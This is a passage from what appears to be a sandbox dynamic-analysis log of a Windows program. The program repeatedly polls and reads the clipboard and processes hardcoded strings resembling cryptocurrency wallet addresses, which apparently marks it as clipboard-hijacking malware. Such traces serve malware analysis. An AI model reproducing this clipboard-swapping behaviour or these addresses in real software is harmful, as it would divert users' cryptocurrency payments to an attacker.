lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0046.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0046.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0046.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0046.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0046.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0046.655] Sleep (dwMilliseconds=0x64) [0046.777] GetOpenClipboardWindow () returned 0x0 [0046.777] OpenClipboard (hWndNewOwner=0x0) returned 1 [0046.777] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0046.777] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0046.777] GlobalSize (hMem=0x6069b8) returned 0x42 [0046.777] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0046.777] GlobalUnlock (hMem=0x6069b8) returned 1 [0046.777] CloseClipboard () returned 1 [0046.777] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.777] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.777] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.777] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.777] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.779] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.779] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.779] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.779] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.779] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.779] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.779] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.779] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.779] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.780] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.780] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.780] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.780] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.780] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.780] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.780] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.780] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.780] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.781] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0046.781] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0046.781] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0046.781] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0046.781] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0046.781] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0046.781] Sleep (dwMilliseconds=0x64) [0046.886] GetOpenClipboardWindow () returned 0x0 [0046.886] OpenClipboard (hWndNewOwner=0x0) returned 1 [0046.886] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0046.886] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0046.886] GlobalSize (hMem=0x6069b8) returned 0x42 [0046.886] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0046.886] GlobalUnlock (hMem=0x6069b8) returned 1 [0046.886] CloseClipboard () returned 1 [0046.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0046.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 